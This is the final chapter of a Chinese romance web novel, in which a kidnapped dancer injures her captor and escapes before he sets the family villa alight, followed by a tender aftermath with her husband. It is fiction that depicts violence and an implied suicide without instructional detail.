她要为自己的出路拼一拼。 周思恒用双指轻轻摩挲她的手腕,眼里有疼惜:“待会出去我帮你上药。” “你就不怕我逃跑吗?” 周思恒嗤笑一声:“方圆五公里没有遮挡,你逃到哪里我都能抓到你。” 周绾宁心想是啊, 她爸当初不爱热闹,所以买的这间别墅远离市区,周围全是田地。 她敛去眼底的警惕,转移话题:“这里我好久没回来过了,自从被法院查封后。” 周思恒将她扶起来,牵着她走向与舞蹈室连通的另一个小房间里。 里面摆着周绾宁从小到大所有的奖杯、舞蹈服、还有他给她的画,除了那幅她二十一岁生日的画,现在还多增加了两幅。 油画里的她,仿佛永远是那明媚的模样。 “谢温言剥夺了我奋斗多年的一切,我现在什么都没了,还好一手画还可以,我带你南下离开这,我画画你跳舞,我们一起重新建起一个周家。” 周绾宁绕过他走向自己的奖杯方向,一切都是隐忍与克制的模样:“小叔叔,你当初有没有一瞬的后悔,后悔自己报复了周家,失去了那么多曾经爱过你的人。” 周思恒的脸色变化一瞬,没有说话。 周绾宁握住飞天奖杯,看着那厚重的大理石底座,将它握在手里,装作漫不经心地打量。 身后传来他的声音:“有,我后悔了,所以竭尽一切想要弥补。” 周绾宁嗤笑一声,回首看着外面的舞蹈室,那个她最后一次看到父亲的方向:“你知道吗,我休学,放弃我热爱的舞蹈,和爸爸一起跑各种酒局,看我爸被各种羞辱。那时候我就在想……” “想什么?”周思恒上前一步,面色带着一丝失去的恐慌。 “我迟早要为我爸爸所受的一切羞辱,报仇。”说完这一句,周绾宁一个用力,将手中的奖杯重重砸在了周思恒的脑袋上。 周思恒轰然倒下。 他目光痛然,没想到周绾宁会对自己下这样的手。 只是周绾宁那一下没有手下留情,他几次眩晕都没有回过意识以来。 周绾宁砸下去的时候,下定了决心,可此刻看到周思恒脑袋流血的样子,她先是吓得虚脱,最后泪流满面,重重摔坐在地上。 周思恒的眼神好半天才聚焦到她身上:“绾宁……”他伸手过来拽她的裙摆。 周绾宁因为害怕,浑身都在颤抖:“今天对我来说是很重要的一天,第一个教我跳舞的老师留下了还没有面世的作品,我被委以重任,需要把它表现出来,但这个机会,也被你毁了。” 周思恒愣了一下。 “所以周思恒,我恨你,恨死你了。你几次三番为了一己私欲想毁了我。可你既然当初背叛周家,就该明白一点,我们永远不可能再回头了。” 看出她要起身离开,周思恒去抓她,眼底是后悔与痛惜:“别离开我,绾宁。” 周绾宁站起身,将染血的奖杯丢在地上。 看到周思恒脆弱地趴在地上的模样,她原本以为自己是快意的,但眼泪汹涌地浮上来,怎么也压不下去。 “周思恒,我们死生不复相见。” 说完这句话,她转身跑开。 周思恒努力地扶了一下额头,看 春鈤 到满手都是鲜红的血。 他努力撑起自己追了出去。 大概来到二楼楼梯口,周绾宁还是被周思恒拽住了手。 眼见自己能逃脱,她怎么可能就这样让自己跟他回去,几乎是自毁一样用力推开他,任由自己身躯向后坠落。 这是她最后的赌注。 如果她受伤,周思恒不会放任她自生自灭。 只要她有任何就诊记录,谢温言绝对会找到她。 但周思恒看出了她的意图,连忙抱着她跟她一起滚落楼梯。 几次重摔,周绾宁都不在受力点。 她挣脱周思恒的怀抱,跌跌撞撞往别墅外跑。 看着曾经看到他恨不得扑进自己怀里的人,如今躲着自己就像是在躲避蛇蝎…… 周思恒自嘲地笑笑。 他努力撑起自己,走向厨房,打开了煤气。 随后坐在客厅中央,继续画最后一幅,他要送给周绾宁的画。 那是她十八岁生日,跳《月下洛神》的模样。 那时候的他不敢也不能对她宣泄爱意。 所以羡慕可以光明正大将她舞蹈看完整场的谢温言,嫉妒被他大哥纳为未来可以成为周绾宁联姻对象的谢温言,痛恨现在那个最终得到周绾宁全部爱意的谢温言。 他将画完的画从二楼窗台丢下,任雷暴来临前的风将画吹走。 顺着风吹拂的方向,他看到远处有车灯照来,而周绾宁一瘸一拐地奔赴如今她的幸福。 周思恒苦笑一声,拿出周绾宁送自己的Zippo打火机,这还是当年她用自己第一场演出的奖金买的。 他关上窗,往楼下走,而后……点燃。 * 周绾宁没有走大门,而是翻窗出去的。 她只有一个念头,逃离这个别墅,逃离那满是噩梦的地方。 在看到前方几辆车停下的那一刻,周绾宁有些不知所措,一开始还因为慌乱,以为是周思恒的人。 但后来又意识到如今的周思恒已经一无所有,来的人是来救她的。 坚定了这个心念,她忍着脚伤,奋不顾身地奔赴那个从车上下来,跑向自己的身影。 这时,轰的一声,响彻整个田原。 周绾宁慌乱地朝身后看去,只见是周家的别墅爆炸了。 这一刻,巨大的空落感袭来,她没有再往谢温言跑来的方向奔跑,而是目光通红地看着曾经的家园陷入火光之中。 最后,腿脚虚软的她,整个往下坠落,直到被赶过来的谢温言护进了怀里。 “宁宁,不怕,我在。” 谢温言哄着她,和她一起望向周家的火。 周绾宁忍了一晚上的害怕终于宣泄,忍不住伸手想要说些什么。 但最后,谢温言安抚地将她的头揽入自己的怀里。 “会有人来处理的。” 说完,他不再管周家的大火,将怀里的人打横抱起,带离这个让她如今只剩下痛苦回忆的地方。 当夜之后,警方来了好几波做笔录。 谢温言尽量都自己包揽了下来,实在推脱不开的,也是等周绾宁的精神好一些了,才让她接受警方的审讯。 周绾宁很配合,将当晚发生的所有事情事无巨细地告知。 好在最后调查结果出来,周思恒的死跟她没有任何关系。 谢温言送走警方后回到卧室,已经洗过澡了,所以他身上是她最熟悉最安心的沐浴乳香味。 他掀开被子坐进去,从后抱住这几天都很沉默寡言的妻子。 周绾宁一感受到他,哪怕没有醒过来,也转过身,循着他身上的味道钻入他的怀里,极尽依恋。 谢温言搂着她,落吻在她的额头。 霎那后,周绾宁睁开眼睛,看着他的眉眼,佯装不正经:“果然,看到你帅气的脸庞、伟岸的身姿,心里什么烦闷事都没了。” 谢温言知道,她这样耍宝是想让他对她此刻的状态放心。 “《诗梦》舞台我已经跟文化大剧院约定,择期再举办,现在你首要的任务是好好养脚上的伤。” 周绾宁面色一僵,看向自己的脚上的绷带。 谢温言也早就从她口中了解到那晚她是怎么从周家别墅里逃出来的。 他一直很害怕她身上的自毁倾向。 从在医院天台重逢后,他就一直害怕她会因为自毁倾向结束自己的生命。 一想到这个可能性,谢温言再次将她紧紧抱住,几乎要将她揉碎了。 “周绾宁。” “嗯?” “以后不许再拿自己的生命不当一回事。”谢温言垂首吻在她的肩头,“你要相信,谢温言的存在就是让周绾宁以后都能无忧无虑的。” 周绾宁没说话。 谢温言却感觉身前一片湿润。 他也不戳破,任由周绾宁在他怀里难受。 “谢温言,我饿了。” 谢温言悬着的心放下。 他下床后,来到她那边,把她像是小孩一样抱起,一路抱下楼。 桐姨已经去睡了,但桌上还备着几碟小菜。 谢温言端来还温热的粥放到周绾宁面前,又将空运过来的荔枝剥开,放了一小碗在她身旁。 他落座在她对面:“等你脚上的伤好一些了,我们去度蜜月吧。” 周绾宁愣了一下。 是啊,两年前他们婚后都没有去度过蜜月。 “去哪?” “澳大利亚。” 周绾宁没有异议,点头答应。 见她低头乖乖喝粥,谢温言犹豫一下,走过去,将她抱起,坐在她原来的位置上,随后让她坐在自己的腿上。 周绾宁含着勺子一脸的懵,回头看他,眨巴了两下眼睛:“怎么了?” 谢温言却是极尽依恋地将下巴搁置在她的肩膀上:“没什么,就这样抱着你。” 向来稳重的男人在她面前展露出一份脆弱。 周绾宁知道他也在害怕,于是她转过身抱住他安抚。 在她被周思恒掳走的一个晚上,他应该一直在被恐惧笼罩着。 他或许会害怕怎么也找不到她,会害怕她晚了一步逃出来也葬身火海,害怕他没有及时赶到她再次出危险,也或许在害怕她抱着必死的决心和周思恒同归于尽。 夜灯下,她用自己的额头抵住他。 她安慰他:“谢温言,你是我向往的幸福里,必不可少的存在。所以我就算是爬也会爬到你身边。” 谢温言低笑,捏了捏她的脸颊:“虽然听你这样说,我有点开心,但宁宁记住,谢温言永远不会让你那么费力地走向我。” 周绾宁埋首在他脖颈间,点点头。 (正文完)【你现在阅读的是魔蝎小说 moxiexs】